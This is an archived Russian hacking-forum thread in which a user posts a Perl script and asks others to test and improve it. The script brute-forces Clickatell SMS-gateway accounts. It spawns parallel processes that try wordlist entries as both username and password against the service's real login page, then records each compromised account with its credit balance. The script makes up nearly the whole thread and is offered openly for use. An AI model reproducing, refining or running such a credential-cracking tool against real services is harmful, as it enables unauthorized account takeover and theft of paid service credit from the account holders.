Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Протестите скрипт

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Протестите скрипт
Имя
Сообщение << Старые топики   Новые топики >>
Протестите скрипт - 2006-04-13 23:12:02   
dnk_704

Сообщений: 8
Оценки: 0
Присоединился: 2006-03-24 18:03:06
Кому не лень протестите скрипт и выскажите свои недовольства или предложения.
буду очень признателен.
этот скрипт брутает логин и пароль к кликателю.

#####################################################
# This is DNK_704 Sсгiрt releas [clik_v_1.0.pl] #
# This Sсгiрt brutforsing Clickatell servis #
# If you have a problem on a this Sсгiрt, #
# My ICQ: 61668905 #
#####################################################

#!/usr/bin/perl
use IO::Socket;
use HTTP::Cookies;
use LWP;

########################Conf##########################
$url = "http://mpro.clickatell.com/central/login.php";
$passlist = "list.txt";
$rezult = "Accounts.txt";
$threads = 20;
######################################################

open(LIST,$passlist) or die "No found WordList. Pleas create list.txt file\n";
while($user=<LIST>)
{
chomp($user);
push(@pass,$user);
if(scalar @pass eq $threads)
{
for($i=0;$i<=$threads-1;$i++)
{
if ($pid=fork())
{
push(@forked,$pid);
}
else
{
print " Now : $pass[$i] \n";
CONN($pass[$i]);
exit;
}
}
killall();
unlink("cookies.txt");
}
}

###############################################################
sub CONN
{
$socket = IO::Socket::INET->new(PeerAddr => ''196.7.150.222'',
PeerPort => ''80'',
Proto => ''tcp'') or die "No connect to Clickatell server\n";
print $socket "GET /central/login.php?username=$_[0]&password=$_[0] HTTP/1.1\r\n";
print $socket "Host: mpro.clickatell.com\r\n\r\n";
$otvet=<$socket>;
if($otvet=~/HTTP\/1.1 302 Found/)
{
$agent = LWP::UserAgent->new;
$agent->cookie_jar(HTTP::Cookies->new(file => "cookies.txt",autosave => 1));
$res = $agent->post($url,[''username'' => $_[0], ''password'' => $_[0]]);
$filesout = "tmp.txt";
$res = $agent->get(''http://mpro.clickatell.com/central/mpro_header.php'','':content_file'' => $filesout);
open(PARS,"tmp.txt");
while($str=<PARS>)
{
chomp($str);
if($str =~/(450)(\D{3})(\d*)(.)(\d*)/)
{
if($3>0)
{
open(ACC,">>$rezult");
print ACC "User:$_[0]————Balans:$3\n";
close(ACC);
}
}
}
close(PARS);
}
close($socket);
unlink("tmp.txt");
}
###############################################################
sub killall
{
foreach $pid (@forked)
{
chomp;
waitpid($pid,0);
kill("TERM" => $pid);
}
undef @forked;
undef @pass;
}
###############################################################
Post #: 1
Протестите скрипт - 2006-04-13 23:15:23   
Python

Сообщений: 4964
Оценки: 0
Присоединился: 2005-12-14 08:32:13
Dnk_704, ну ты даешь… Я бы поленился стока писать [sm=8.gif]
Post #: 2
Протестите скрипт - 2006-04-13 23:22:52   
dnk_704

Сообщений: 8
Оценки: 0
Присоединился: 2006-03-24 18:03:06
этот ответ расценивать как факт уважения к проделанной работе,
или насмешку над якобы пустой тратой времени?

Жду отзывов о работе скрипта, и предложений по улучшению.
Post #: 3
Страниц:  [1]
Все форумы >> [В Сети] >> Протестите скрипт







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.